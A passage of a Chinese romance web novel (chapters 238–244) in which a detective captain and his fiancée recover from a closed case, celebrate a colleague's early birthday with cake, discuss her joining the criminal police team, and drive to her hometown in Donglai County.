这手感,真不错。 然后,哎呦了一声。 这一声里,带了点痛楚的意思。 楚隽立刻从意乱情迷里惊醒过来。 “怎么了,弄疼你了?”楚隽连忙抬起些身体。 他几乎上身都压在安暖身上,知道自己力气大,怕着急了没轻没重的,弄伤了娇滴滴的姑娘。 “嘶……”安暖动了一下:“胳膊好痛……” 楚隽赶紧起身,去开了灯。 安暖这头发衣服乱的呀,就像是干嘛了一样。 当然他也好不到哪里去。 不过这不是现在要关心的问题。 安暖捂住了右手的肩膀。 “怎么了?”楚隽扶住她胳膊:“是刚才扭到了吗?” “不是。”安暖说:“是最近练枪练的,肌肉拉伤了。” 师父真狠啊,练她跟熬鹰似的。 一练一天一练一天,本来感觉手枪也没多重,但一举大半天可就不是容易的事情了。 楚隽连忙说:“我看看。” 安暖犹豫了一下,将领子扯开一点。 楚隽低头一看,只见安暖的肩膀上下的位置,贴了好几块膏药。 第239章 谁馋谁 安暖伸出手来,手还有点抖。 其实已经好多了,前几天更惨。 楚隽连忙握住。 “你这几天,一直跟着篷钧在练枪吗?” 本来,楚隽还说等忙完了,请篷钧和曲嘉一起吃个饭呢。结果这案子一查查了这么久,那边也有其他事情不能一直等,终究还是没凑上。 “是啊。”安暖撒娇:“可累可累了,前几天手都抬不起来,拿筷子都抖。” 可把楚隽心疼坏了。 “这练枪练功夫,都不是一时半会儿的事情,你说你那么着急做什么?”楚隽说:“想学枪,我慢慢教你就是了。” 楚隽起身在沙发上坐下,把安暖也拉起来,在自己腿上坐下。 安暖调整了一个舒服的姿势,拽着楚隽的手给她捏肩膀胳膊:“这不是正好有空吗,而且我听说篷钧的枪法特别好,部队里都喊他枪王呢。这是我的短板,学好了,以后可能能用上。” 安暖是个实用主义者,考虑的都是很实在的事情。 正好有空的时候,找篷钧教枪法,这是学习。 明知道楚隽很忙,非得等她来教,那是谈恋爱。 学习和恋爱,不能互相耽误。 楚隽捏了捏安暖的胳膊,然后将下巴搭在她肩膀上,低声道:“你说得对,但我有点不高兴。” 安暖捏了捏楚隽的鼻子。 “你不高兴什么?” “有点吃醋。”楚隽一个人高马大的刑警队长,这会儿还有点娇柔呢:“这种事情,明明应该是我教你才对。” 安暖失笑。 楚隽真是个实在人,吃醋也吃得明明白白。 “不吃醋,吃饭。”安暖哄他:“你晚上还没吃吧,我做了两个菜,去热一下,我们边吃边说。” 晚上两个人都没吃,这大半夜的,楚隽应该也饿了。 楚隽顺着安暖的力气起来,但是两手搂着安暖的肩膀,将她按在餐桌边坐着。 “不对,我怎么还要你哄了呢?应该我哄你才对。”楚隽说:“你坐着,我去热菜,一起吃饭。” 安暖也不反对,就坐在餐桌边,托着下巴看楚隽。 楚隽进了从餐桌边拿了围裙随手系在腰上,端着菜进了厨房。 有人夫感的男人,真帅。 不过安暖又看了两眼就过去帮忙了。 “我去热菜,你去洗澡吧。”安暖体贴道:“洗澡换身衣服,吃饭舒服。” “好。” 楚隽抬起手:“帮我解开围裙。” 矫情了不是,围裙只是松松系在背后的,刚才自己都能系,这会儿自己解不开? “好。”安暖不点破楚隽这点小心思,也不绕到背后,伸手搂住他的腰,拽开背后围裙的系带。 “瘦了,腰细了。”安暖评价:“这几天要多吃点。” “腰细不要紧。”楚隽说:“肌肉没模糊就行,我知道你喜欢。” 他不敢乱摸安暖,只好忍着。安暖有性别优势,这几日可没少摸他,摸得他又爽又不敢吱声。 楚隽一边往房间走,一边顺手解纽扣脱上衣。 这也是相处的习惯了,也不避嫌了。 刚开始住在那几日,他特别注意,衣服扣子不扣整齐了都不敢出房门。如今也是敢暗搓搓秀肌肉的人了。 安暖的目光一直追随着楚隽进了浴室,关上浴室的门。 这才慢悠悠地收回来。 然后安暖照了照镜子,摸了摸自己的脸。 “我馋他身子吗?”安暖自言自语:“不是那么明显吧。” 幸亏这会儿没有人在,没人看见镜子里安暖一脸的花痴模样。 一会儿饭菜都热了,楚隽也新鲜出炉了。 楚隽换了一身睡衣,还有些湿的头发搭在脑袋上,半遮着眼睛。 顺毛顿时小五岁,又成了男大模样。 安暖听着声音,感觉楚隽快出来了,正在餐桌边坐着盛饭放筷子。 楚隽从后面过来,伸手搭在安暖肩膀上,脸凑过去,在她耳边低声说:“姐姐……” 安暖一抖,瞬间起了一身鸡皮疙瘩。 要死了要死了,楚隽什么时候学了这一招,真是叫人把持不住。 安暖心砰砰跳没敢回头,怕回头冲击力太大。 “平时不许叫姐姐。”她板着脸扒拉开楚隽,往他手里塞筷子:“吃饭,快吃饭。” 楚隽好笑地看着安暖。 又大胆又怂。 “好,不叫,等以后合适的时间再叫。”楚隽听话的坐下吃饭。 楚隽这段时间逆生长,安暖心道。 现在的楚隽和她第一次见面的楚隽完全不同。 那时候冷酷冷静,老气横秋,一眼看上去得有四十。如今十八不能多了,满脑子都是要打马赛克的想法,也不知道结婚以后会放飞成什么样子。 楚隽是真饿了,一口气吃了三碗饭。 没一会儿,饭菜都干干净净,一点儿不浪费。 酒足饭饱,已经三点了。 楚隽说:“碗就放那别管,明天让阿姨来收拾。暖暖,你困吗,要是不困,我们说说话。” “不困,但是我去洗个澡。” “好。” 安暖洗澡去了。 浴室里传来哗哗的水声。 楚隽想了一下,自己是应该在这里,还是应该在客厅等? 他考虑了一下,还是没能忍住诱惑,爬上了安暖的床。 开着灯,随手拿了床边的一本书看了起来。 也不知道里面写了什么。 没一会儿安暖洗好了,推开浴室的门,就看见床上躺着个人。 “你……”安暖愣了一下:“你为什么在我床上?” 楚隽一副无辜的表情:“不是说不困,说说话吗?” 安暖擦着头发走过去,居高临下看他。 说说话是不假,但这话能在床上说吗?在床上还能好好说话吗?怕是说着说着,就要走题的吧? “这几天太累了,躺在床上舒服。”楚隽给自己找了个好理由,拍了拍身边:“我们躺着说话……我不做什么,你还不放心我吗?” 安暖撇了撇嘴。 楚队你到底懂不懂,我是不放心你吗? 算了,好几日没见,她也怪想的。 于是久别重逢的未婚小夫妻,就这么舒舒服服地躺在床上说起了话。 楚隽掀开被子,把安暖裹了进去,搂在怀里。 “给你再按按肩膀。”楚隽说:“枪法不是速成的,你若想练好,以后还得巩固,以后我多陪你去练。” “好。” 安暖放松身体享受着:“对啦,许骧和许醉,他们怎么样了?” 第240章 恭喜入职 “他们……”楚隽犹豫了一下:“多亏了你,他们都没事儿。” 但是很多事情,还是不能细说。 许醉和许骧,即便是回到公安系统,也不会留在京市,会去远远的地方。 “没事儿就好。”安暖想着还有些后怕:“楚隽,你知道吗?之前我好害怕,好害怕。” “怎么了?” “我做了一个梦。” “什么梦?” “就在我打电话给爷爷要人之前,我做了一个梦。” 楚隽低下头,认真地听。 “我梦见来到了烈士陵园,看见一排的墓碑,上面有名字,但是我看不清。我就往前走,恍惚间,看见了你的名字……我一下子就吓醒了。然后,我就再也坐不住了。” 安暖说的,和事实差不了太多。 不过让安暖决定找翟老爷子要人的开头是因为许骧,然后才做了这个梦。 但她可不能在楚隽面前这么说,大义归大义,男朋友是男朋友,不能犯蠢。 “真是辛苦你了,让你担心了。” 楚隽捧着安暖的脸,亲了亲额头。 “没事儿,都是我应该做的。我既然早就知道你的身份,就没什么好抱怨。”安暖也学着样子亲回去:“而且我很高兴了,真的帮上了忙。” 特别,特别高兴。 这一刻,安暖眼里有光。 楚隽心里暖的有些酸楚,将人抱紧了:“暖暖,我真是何德何能,可以和你有婚约,爷爷真是我亲爷爷。” 瞧这傻孩子说傻话,爷爷当然是亲爷爷,不然生气的时候抽你不能那么用力。 “没事儿,你肯定上辈子,上上辈子,做了很多好事儿,才能修来今生的福气。” 安暖还挺傲娇。 “你说得对。”楚隽毫不犹豫道:“对了,我有个好事情要告诉你。” “什么事儿?” 楚隽道:“这次的事情,你立了大功,要不是你,我们的同志可能要有更多的牺牲。” 最后安暖出现在红星林场,闯进地下室,简直是神来之笔。 安暖心里一喜:“是不是林场纵火的事情,不追究我的责任了?” 楚隽失笑:“那个本来也不会追究你的责任,不是那个事儿。” “那还有什么好事儿?” 楚隽说:“领导说,要给你嘉奖,让我问问你有什么要求没有?” 领导真是善解人意。 安暖心里一动。 “什么都可以吗?” “那也不是,不过我已经帮你提了。” 安暖一下子坐直了:“你帮我提了什么?” “你一直想要的。” 安暖眼里放光。 楚隽应该知道她想要的是什么。 “进入刑警队。” 楚隽果然懂自己。 自己这些日子天天抱着书看得眼睛都瞎了,就是为了那一纸文凭,好在明年警局招聘的时候,能够达到招聘门槛。 如果如今的功劳能换来破格录取,就太好了。 一下子少走了那么多弯路的感觉。 “可以吗?”安暖一下子坐直了。 “当然可以,要是不可以,我就不跟你提了。”楚隽将人重新扒拉下来,拉上被子裹好:“局长很重视这个问题,问了你这段时间的表现,也问了周叔,你在周叔口中,简直是个天才。” 安暖连连点头。 我这人设果然没有白立。 楚隽说:“等下周上班,你随我一起过去。局长要亲自考核,他说了,不拘一格降人才,没有因为一直文凭就耽误好苗子的道理。只要你考核通过,文凭这个标准可以暂缓……我也跟他说了,初中卷子你几乎都是满分,只是没有文凭,不是没有文化。” “放心吧。”安暖拍了拍胸口:“他要是不相信,可以去找几套高中卷子来。满分有难度,闭眼能上九十。退一步及格那是肯定没问题的。” 楚隽中肯地说。 “你这一步,退得挺多的啊。” 满分到及格,真是进退如风,能屈能伸。 安暖哈哈一笑。 这有什么,人可以说大话,但大话不能说得太满,万一出了岔子呢,不就丢人了吗? “不过……”安暖问出自己的疑问:“为什么是进刑警队?是你提的吗?” “算是吧。”楚隽承认:“这件事情上,我多少是有一些私心的,但也仔细考虑了。” 楚隽一边说,一边把安暖的手放在手里,一根手指一根手指地捏过去。 “你虽然体能不行,但是其他方面非常优秀。这一点,不是因为咱们俩关系好瞎说的,是你真的优秀。”楚隽笑一下,挺骄傲:“但你毕竟不是走正规流程进来的,难免有人私下不满。” 楚隽懂人情世故,可不是不食人间烟火的公子哥。 “新人的话,其实历练磨合都很正常。但我不想你去经历那个过程。”楚隽说:“我觉得没有必要,因为你在工作里的表现非常成熟。我不想你把精力和时间浪费在人际关系的处理上。” 安暖这不受气的性子,要是去了别的部门。 一帆风顺也就罢了。 要是有不顺,不外乎两个结果。 一是闹起来,二是忍气吞声。 无论哪一种都不好。 后者楚隽舍不得。 前者楚隽可以给她撑腰,但终究是不好。身在其中,安暖也一定会受到流言蜚语的冲击。 只有护在自己手下,万无一失。 安暖戳了戳楚隽胸口。 懂你,你这是养成系呢。 安暖当然愿意进刑警队,哪怕不是正式入职也可以。 本来计划,再快也要明年中旬,没想到计划不如变化快,好消息来得那么快。 两人就这么躺在床上,一边聊,一边难免卿卿我我。 好在楚隽确实是个正人君子,安暖也不敢过分撩他,于是保持了一定程度的礼貌和客气。 然后两人就睡着了。 第二天也不知几点,有人敲门。 楚隽迷茫地睁开眼睛,便看见躺在他臂弯里的安暖。 安暖没醒,睡得正熟。 铁血的楚队,脸不由地红了一下。 这还是第一次,他和安暖在一张床上,相拥着醒来。 安暖动了一下,楚隽连忙将被子往上拽了一点,将人盖好。 敲门声还在继续。 楚隽看了看放在床头柜上的手表。 竟然已经十一点多了。 不过他们昨天可能清晨才睡,这也没睡几个小时。 第241章 田螺姑娘和救命恩人 怕吵醒安暖,楚隽连忙起了身去开门。 一开门,便看见许骧站在门口。 手里还拎着东西。 楚隽有点懵。 “许骧?你怎么来了?你不是……今晚的火车要走?” “是今晚要走,这不是还有一个白天吗?”许骧说:“还早。” “进来吧。”楚隽接过许骧手里的菜,然后看见他手里还有个盒子,仔细一看,奇怪道:“你……还买了个蛋糕?” 许骧拎着奶油蛋糕进了门,放在桌上,然后四下看。 楚隽皱眉道:“看什么呢?” “弟妹呢?”许骧说:“江副队说,你们俩都住这。” 虽然不是外人,也不至于什么都往外说。 楚隽有种奇怪的感觉。 “你是来找我的,还是来找她的?” 然后许骧就笑了:“好吧,其实我是来找她的。” “你找我女朋友干嘛?她还在睡。”楚隽不乐意道:“那你坐会儿,我去喊她。” “不着急,我先做饭。” 许骧拎着自己带来的菜就要进厨房。 “怎么搞得跟田螺姑娘似的?”楚隽奇怪道:“你今天来找我,就是给我做饭的?” 自带菜,来做饭,有这么好? “美得你。”许骧拿起餐桌边的围裙,就这么水灵灵地围在腰上,一边挽起袖子一边说:“一会儿边吃边说。” 说着,许骧就进了厨房。 看得出来,他不是第一次来这边来。 许骧进了厨房,自顾自做起菜来。 楚隽想了一下许骧的手艺,犹豫了一下,还是给熟悉的餐馆打了个电话,让他们一会儿送几个菜过来。 毕竟他和安暖的命都是命,不是非要强颜欢笑,狼吞虎咽讨许骧欢心的。 许骧要是做得能吃,那就锦上添花。 要是做的不能吃,也不至于饿着。 打完电话,楚隽进了房间。 安暖也已经醒了。 不过还没起床,只是躺在床上放空,一边放空,一边听着外面说话。 楚隽这房子的门,隔音效果还不错,两人说话声音小,没太听清楚。 见楚隽进来,安暖道:“谁来了?” 楚隽说:“哦,田螺姑娘。” “田螺姑娘?”安暖奇道:“哪个田螺姑娘?你的……旧相好?” 刚才听着门外说话,虽然没听见说的是什么,但应该是个男人的声音吧。 “胡说。”楚隽故意板起脸来:“我可没有旧相好,你不要诋毁我的名声。” “那是谁?” “是许骧。”楚隽说:“他今晚的火车,刚才拎着菜还有蛋糕过来,说要请我们吃饭,奇奇怪怪的。” “许骧带着蛋糕来了?”安暖眼前一亮坐了起来:“你说他带着蛋糕。” “对。”楚隽有点奇怪:“怎么了?” “不对啊。”楚隽算了算时间:“他不是后天过生日吗?” 楚隽心里有点酸了。 “你怎么知道他什么时候过生日,我都不知道。” “说来话长,等会儿跟你说。”安暖麻利起了床,刷牙洗脸去了。 楚隽坐在床边,想来想去。 许骧和安暖,应该只见了两面。 第一面是在单位门口。 第二面,是在红星林场的地下室。 第一次见面的时候,两人不熟,表面还不友好。安暖也说了,许骧还拿刀吓唬她来着。 第二次见面,情况紧张,总共也没说上两句话,他全程在场。 如果他们有什么超出的友谊,那就发生在第一次见面的那顿饭上。 安暖一边刷牙洗脸,一边在心里琢磨。 现在秦漠的事情也算告一段落了,但是还没到许骧的生日,她还没有完全放下心,总觉得生日,这是许骧生日的一个分界线,过去了,才算渡劫成功。 等她洗了脸打开浴室的门,吓了一跳。 就看见楚隽靠墙站在一旁,一脸幽怨。 “你在这干嘛?”安暖奇道:“外面有客人,不去招呼吗?许骧不是来了吗?” 真叫客人烧饭做菜啊? “没事儿,我让饭店送菜了。”楚隽道:“你还没告诉我,你怎么知道许骧的生日呢?” 安暖失笑。 她觉得要是自己再不解释,楚隽马上又要喊姐姐了。 这人最近有点幼稚。 于是安暖神秘兮兮的朝楚隽招了招手:“我跟你说,但你别跟他说,我怕他面子挂不住。” “你说。” 安暖低声说:“就他请我吃饭的那天,我感觉他的情绪不太对劲。” “怎么不对劲?” “他自己可能感觉不出来,但是整个人有一种……我这么说你能理解吗?就是有一种随时准备着英勇就义的悲凉悲壮。因为我当时就猜他是自己人,所以就有点担心。我想着,肯定是你们正在进行的事情非常危险,许骧一定已经做好了牺牲的准备。” 安暖这么一说,楚隽的表情顿时也严肃起来。 “但你要知道,人是否有求生的念头,那是截然不同的。”安暖说:“我当时就鼓励了他几句,问他什么时候过生日,我说,让他这段时间一定要小心保重,等他过生日,我请他吃蛋糕。” 安暖是个敞亮的人。 这件事情里,除了隐瞒了必须隐瞒的,其他都没有说谎。 楚隽一听,恍然大悟。 “难怪呢……”楚隽说:“你不知道,许骧这次的命,真的是捡回来的。” 安暖心里一紧:“怎么说?” 楚隽道:“前两天,许骧莫名其妙在地摊上买了个平安符揣在身上,是个铁牌子。然后他前天中了一枪,子弹正好打在平安符上,要不然就死了。” 安暖目瞪口呆。 “这么玄乎?” “对啊。”楚隽突然嘚瑟起来:“难怪他今天又是买了菜又是买了蛋糕,还主动下厨,原来是感谢救命恩人的。” 虽然不是安暖给挡的子弹,但肯定是安暖的话,让他动了小心点的心思。 这心思一动,才顺手买了平安符。 命运就是如此奇妙。 许骧这条命,至少有一半是安暖给的。 两人还没聊清楚呢,许骧来敲门了。 楚隽打开了门。 许骧也没进来,站在门口说:“安同志,你好。” “许三哥。”安暖摆了摆手:“好久不见。” 一阵奇怪的味道飘了进来。 许骧镇定说:“要不然,我还是请你们去饭店吃吧。” 田螺姑娘,虽然有热情,但看来实力不允许啊。 第242章 过生日 楚隽毫不客气地嗤笑了一声。 这时候,有人敲门。 许骧去开了门。 是来送餐的饭店服务生,拎着大盒小盒, 许骧眼睛都圆了。 楚隽走了过去:“放在桌上就行。” 两个服务生将饭盒一一放下,排成两排,打开盖子。 楚隽甚至没有给钱,可见是常吃的饭店,记账月结,甚至几个月一结。 此时许骧十分郁闷。 他有种松了口气的感觉,这下中午有菜吃了,不用丢人了。 但好像又更丢人了。 安暖也出了房间,看见桌上的蛋糕,高兴地凑了过去。 这是个奶油蛋糕。 对她来说,挺简陋的。 毕竟四十年后,各种吃的都做出了花儿来,她见过的吃过的太多了。 但在这个年代,奶油蛋糕可是个好东西。 许骧是认真地在过生日的。 许骧见安暖出来,也走了过来。 “小安同志,这次真要谢谢你。”许骧说:“你救了我的命。” “别这么说。”安暖连忙说:“都是你运气好,我就是随口一说罢了。” “随口一说,也是救命。”许骧正色道:“所以我买了蛋糕过来,请你,和……楚队,来给我过生日。” “可是你的生日还没到时间,不是后天吗?怎么能提前过吗?” “我今晚的车就要离开京市了。”许骧解释道:“提前过,不碍事。” 安暖虽然多少还有些担心,但也点了点头。 虽然许骧的生日还没到,但也算是过了一个死劫吧。 她也不能守着许骧一辈子,剩下的,交给老天爷吧。 “别烧了。”楚隽拍了拍许骧的肩膀:“还是吃现成的吧,我去拿筷子和碗。” 楚隽进了厨房,然后在厨房里发出一声长长的叹息,这才走了出来。 厨房尚存活,还不错,只是浪费了那么多菜。 三人坐下,边吃边聊。 期间,许骧安暖极尽各种赞美。 “小安真是太聪明了。”许骧说:“当时那种环境,别说你只是个没有经验的女同志,就是经验丰富的一线人员,也未必能那么快捷精准地应对。” 安暖干的那些事情,特别是进入地下室的一系列,是被专案组翻来覆去讨论过的。 都是经验非常丰富,老练老辣的老刑警,一致认为,当时的局面不是死局也活路不多,安暖的应对,完美得令人头皮发麻。 要不然也不会破格让安暖进刑警队。 楚隽这几天在局里没少被夸,已经自己催眠了自己。 男女朋友一体,夫妻同心,夸她,就夸我。 “这也是急中生智。”安暖说:“许哥你别夸我了,夸得我都要骄傲了。” “就是值得骄傲。”楚隽正色说:“我跟你一起骄傲。” 说着,楚隽替安暖顺了顺一缕没理好的头发。 许骧看着牙痛。 跟楚隽吃饭也行,跟安暖吃饭也好,看来确实不能跟两个人一起吃。 吃得酸溜溜的。 许骧加快了吃饭的速度。 吃完饭,吃蛋糕。 虽然是白天,但安暖是个有仪式感的人,于是插上了一根蜡烛,拉上窗帘,黑乎乎的给许骧唱了歌生日歌,这才算礼成。 许骧听安暖唱歌的时候,手脚都有点没地方放。 看得出来,他不太适应,以前可能没这样过过生日。 许骧说:“看不出来啊,小安还挺……挺时尚的。” 他知道安暖的生平。 安暖这段时间也算是偷偷摸摸的风云人物,她的生平来历,从楚隽开始,不少人都查过。 没有一点儿问题,镇子里的姑娘,绝对不可能有人假冒。 “时尚吗?”安暖说:“你不喜欢这样过生日?” “那倒不是。”许骧抓了抓脑袋:“我以为你们那里过生日,是煮一碗面条,卧一个荷包蛋呢。” 现在条件稍微好了点,吃的喝的丰富了起来,以前在农村偏远的地方,家里的鸡蛋是要拿去集市卖钱的,有人过生日的时候,才会奢侈地吃上一个。 “哦,也吃。”安暖说:“要不,我给你煮碗长寿面,再煮两个鸡蛋?” 中西结合,寿星开心就好。 但许骧拒绝了。 “不用了不用了,太麻烦了。”许骧说:“中午先吃蛋糕,等晚上我再吃长寿面和鸡蛋。细水长流,也不必一顿饭吃完。” 主要是他觉得,使唤安暖去做饭,楚隽估计有意见。 虽然安暖的手看着也是千金小姐的白皙细嫩,但他就是觉得,安暖往桌边一坐,就不想是做惯了家务事的样子。 吃完蛋糕,许骧和楚隽还有些见不得人的话要聊。 安暖特别有颜色:“要不,我回避一下?” “不用。”楚隽说:“你慢慢吃,老许,进房间说。” 只有安暖的蛋糕没吃完了,当下,她拿了本书,坐在餐桌边慢慢地吃。 这可能是很寻常的一幕。 女主人在吃吃喝喝,男主人和朋友在房间说话,屋子里还有饭菜没散去的香味,阳光撒进来,阳台上传来楼下孩子的和大人说话的声音。 但是,就这寻常的一幕,是多少人求而不得,多少人舍生忘死,多少人永远留在青山深处,才换来这寻常一日。 许骧和楚隽聊完之后,又坐了一会儿便走了。 不过他承诺,等生日到了正日子那天,再打电话过来报个平安。 许骧走后,楚隽坐到安暖身边,托着下巴看她。 “怎么了?”安暖摸了摸自己的嘴唇:“有奶油吗?” “有。” 安暖用手背擦了擦,感觉没擦着什么。 “哪儿有?”安暖正要起身去拿纸,被楚隽拽住了。 楚隽伸手沾了一点奶油,点在安暖嘴唇边。 “现在有了。” “……” 顿时,无数短剧情节涌上脑海,安暖觉得,楚隽油腻了。 “我帮你擦。”楚隽说着,凑了过来。 果然楚隽这人,只有正经和不正经两种模式,没有中间选项。 奶油擦干净后,安暖说:“我什么时候去上班?” 这屋子里不能常待,常待容易出事儿。 “不着急。”楚隽说:“休息一天,明天陪你回家。” 安暖听得愣了一下,不由道:“回哪个家?” 第243章 结婚规划 “当然是东莱县。”楚隽说:“我知道你不想现在就转户口,我尊重你的意愿。但现在工作的事情提前了,所以就算你不着急转户口,工作调动也要处理。你之前在服装厂里的工作,也还没辞吧?” “那个倒无所谓。”安暖说:我本来是请了半个月的假,来京市处理婚约的。但后来一时不打算走了,便已经打电话给厂里说过了,算是辞职了吧。” 安暖辞职这事情办得很利落,本来,即便是没有和楚隽在一起,她也没有打算重回服装厂了。 现在她的心思都在刑警队,如果真的不行,将心思放在别处,赚钱应该也是可以的。大不了去做生意,倒买倒卖什么的。 “那你入职市局,也要回去开证明。”楚隽说:“而且,最主要的,我也想去你家看看。说起来早就该去的,一直以来,是我疏忽了。” 对这件事情,楚隽是有点后悔的。 翟老爷子早些日子就让他去东莱县,找安暖提亲。但楚隽不愿意,一直找各种理由拖延。 要是第一次老爷子召唤的时候就听话,就去了东莱县找媳妇,说不定现在婚都已经结了。 “行,行……”安暖只好说:“那就去吧。我也是要回去收拾收拾,后面一时半会儿都不会回去,我想把家里的房子租出去,免得空着浪费。” 房租虽然也没几个钱,但多少都是钱。苍蝇再小也是肉,不能浪费了。 “好,那你是想开车回去,还是坐火车回去?” 开车有点远,但两个人可以轮流开,也就还好。 坐火车路上舒服一些,不过到了地方之后没有车,有时候会不方便。 安暖想了想:“还是开车吧。我们那地方交通不是很方便,火车也不能直达,下了火车还要转汽车,不如直接开车来得省事儿,时间规划都自由。” “好。” 两人又商议了一下。 既然是开车回去,那肯定得买点礼物。 虽然安暖父母都不在,她也没有亲兄弟姐妹,但不是一个亲人都没有。 两边的七大姑八大姨总还是有的,这一次带楚隽回去,肯定要去拜访舅舅叔叔姑姑之类,不能空手。 换了身衣服,便出去买东西。 安暖掰着手指头算,既然要回去,有什么亲戚要走动,要送礼,要拜访。虽然不是特别亲的,但该有的礼数还是要有的。幸亏她有这身体过去所有的记忆,要不然的话,就很麻烦了。 楚隽索性拿了一张纸记了下来,一边写,一边说:“对了,等咱们结婚的时候……” “嗯?” 安暖愣了一下。 话题是不是扯得有点远。 不过是回去走一趟亲戚,怎么就扯上结婚了? “我是说,我们结婚的时候。”楚隽说:“你是想把老家的亲戚请到京市来,还是在京市办一场,在老家再办一场。” 楚隽想得很复杂。 果然,婚礼不能马虎,一旦开始,就不可能半途而废。 楚隽接着道:“如果要把你老家的亲戚接过来,提前确定一下数量,我可以包一辆客车去接。正好,还可以带他们在京市走一走,逛一逛。” 安暖一想头皮发麻。 “不用,不用。”安暖说:“我没想那么多呢。不过你既然提了,那也不必那么麻烦。这边的婚礼按你家的需要办。之后找时间回去,我家的亲戚请他们吃顿饭就行了。” 就当时……回门宴? 随便了,安暖对这方面不太在意。反正她也不是本人,那些亲戚,也并不是她真的亲戚。原主对那些亲戚都没有太深厚的感情,更别提她了。 “也可以,听你的。”楚隽将单子放进口袋:“走,去买东西。然后我们晚上在外面吃,要是吃得早,去看个电影?这几天累坏了,轻松一下。” “不看电影。”安暖说:“我们去买烤箱面粉什么的吧,我想自己做蛋糕。我做的蛋糕,肯定比许骧买的好吃。” 安暖之前就说过自己会做蛋糕,不过一直没抽出时间罢了。 “好。” 楚隽说:“我把厨房这个台面收拾出来给你放烤箱,反正我们烧饭做菜也少,用不上那么大地方。” 两人兴致勃勃地规划了一下。 “好。”安暖高兴一拍手:“就这么说定了,以后家里人的所有生日蛋糕,我都包了。” 两人兴致勃勃出了门。 工作再苦,生活也要轻松甜蜜一点,要不然的话,一直苦一直苦,这日子可怎么过啊。 用了整整一下午的时间,在安暖的诸多阻拦下,还是买了不少东西,塞满了后备箱。 楚隽原本以为,一个烤箱就行了,最多再买点面粉,就差不多了。 真买了才发现,哪个行业都没有那么简单。 除了烤箱,面粉,还有许多各种需要。 鸡蛋,酵母,糖粉,模具和各种工具,还有水果。 安暖说了,要做水果蛋糕。 回家安暖就开始卷袖子,兴奋得藏不住。 “我来做蛋糕,你给我打下手吧。”安暖说:“做一个水果奶油蛋糕,放在冰箱里,明天带回老宅。” 出远门,肯定要会老宅说一声。 翟老爷子还准备了一些东西让带回去,有带给安暖亲戚的,也有带给村里人的。他曾经在村里住了一段时间,除了安家的老爷子,也有一些其他朋友。 楚隽也卷了袖子,脱了外套,考虑了一下要不要真空穿个围裙,最终还是放弃了,进厨房帮忙。 很快香甜的味道就从厨房飘了出来。 日子嘛,怎么可能和谁过都一样。 第二天一早,安暖带着这辈子做的第一个水果蛋糕,回了老宅。 王姨对此表示十分的惊喜,围着蛋糕转了好几圈。 “小安,这是你做的啊,你手艺那么好呢?以后教我呀,我也想学着做蛋糕,还想做点小饼干……自己做的,比外面买的健康。” 这有什么问题,安暖满口应着。 翟老爷子知道他们今天一早要来,又叫人买了几盒之前安暖喜欢吃的小蛋糕,他们装上了老爷子准备的东西,便出发了。 第244章 真实的八零年 开长途是一件枯燥无趣的事情,但是有一种情况例外。 当驾驶和副驾驶的两个人是一对甜蜜蜜情侣的时候,不管做什么事情都会变得有趣起来。 就是大眼瞪小眼都觉得周围有无数粉红泡泡的那种有趣,一点儿都不乏味。 楚隽这次的假比较长,因为要回安暖老家,除了这周的假,还补了几天之前的。没有急事召集的情况下,可以休半个月。 “幸亏以前加班多。”楚隽还挺得意:“现在休假也不心慌。” 他们也不是很着急,规划好路线,不开疲劳车。 上午开几个小时,中午找地方吃饭。 下午再开几个小时,晚上找地方吃饭。 然后找地方过夜。 不起早,不贪黑,不那么累。 第四天傍晚,两个老司机终于到了东莱县城。 进了县城,安暖瞬间涌上一种熟悉的感觉。 虽然她没有来过,但这地方却是这身体无比熟悉的,看着外面的一草一木,房屋人流,有种恍如隔世的感觉。 楚隽一边开车,一边看着安暖。 他只以为安暖是近乡情怯,心有感慨。 “咱们家在哪里?”楚隽道:“今天晚上我们终于不用住招待所了,可以住自己家里了。” 安暖先是随口应了一声,然后反应过来。 “不对,什么叫自己家里?”安暖转过头来:“那是我家,怎么成咱们家了?” “瞧你说的。”楚隽非常自然:“你家,难道不是我家吗?难道今晚上你要把我赶出去住招待所?” “那不能。”安暖立刻道:“县城里的招待所条件不好,就算是我不让你住家里,你也别睡招待所。” 楚隽奇道:“不让我住家里,也不让我住招待所,那我住哪里呢?” “你可以睡大街上啊。”安暖回头粲然一笑:“东莱县还有座桥呢,睡桥洞也挺好的,万一下雨也淋不着。” 楚隽被伤了心,哭湿了两块手帕。 在安暖的指挥下,汽车左转右转,转来转去,终于到了一处小院前。 “就在这里啦,这就是我家。” 车停下,安暖蹦下了车。 院子门锁着,安暖摸出钥匙,虽然开门的动作不太熟练,但也没出什么状况。 其实这一趟安暖出门总共也才一个多月,之前这房子都是正常住着的,除了落了一层灰罢了。 楚隽从车上卸下来一些东西,大部分都没动。那都是后面要送人的,就不搬上搬下了。 楚隽拎着行李箱跟在安暖身后进了门,一边走,一边好奇地四下看。 “本来这里是养了几只鸡的。”安暖随手一指:“不过我想着要出门,也不知道要多久才能回。所以都吃了才走的。” 七只鸡,吃了一部分,给左右邻居送了几只,让他们稍微照看着点。 院子里面是自己盖的三间房。 安家人少,中间一间堂屋,两边各一个房间。 安暖一个,安父一个。 堂屋正中,挂着安父安母的遗照。 安暖走进屋子,看着照片,在心里叹了口气。 如果安父知道,自己走了没多久,女儿也被害了,肯定死不瞑目。 可是没有办法,人死不能复生。如今安暖能做的,只有用她的身体,好好的活着。 放下行李,楚隽说:“这就是伯父伯母了。” “嗯。” 楚隽恭恭敬敬地对着安父安母的遗像鞠躬,然后说:“明天,我们先去祭拜他们吧。” “好。” 带楚隽去安父安母的墓前祭拜一下,也算是一个交代。 眼见着天黑了。 安暖摸索了一下,开了灯。 屋子里亮了起来。 楚隽对安暖生活的地方非常有兴趣,也不把自己当外人,在房间里东看看,西看看。 在楚家的时候,衣食住行楚家都安排得很好,现在既然到了她的地盘,当然也要有待客之道。 当下,安暖就开始张罗。 “咱们这是小县城,可没有京市那么繁华。”安暖说:“现在还不太迟,咱们赶紧出去找地方吃晚饭。要是晚了,就找不到地方了。” 家里冷锅冷灶的,现做还麻烦了。 东莱县城里可没有什么国际大酒店,只有几家小饭店。也不会开到半夜还灯火通明。过了吃饭的点,差不多就要关门了。 晚上县城大部分地方是黑的,又没有什么外地人,守着通宵的店是没有意义的。 楚隽入乡随俗,两人放了东西就出门吃饭。 果然连找了三个地方,才找到个还没关门的饭馆。 也没剩下什么菜了,老板给下了两碗面条,也算是能吃一口热乎的。 楚隽虽然在家是个养尊处优的大少爷,但作为刑警,出任务的时候什么艰难的场面没见过,一点儿也不介意。 吃完饭,回了家。 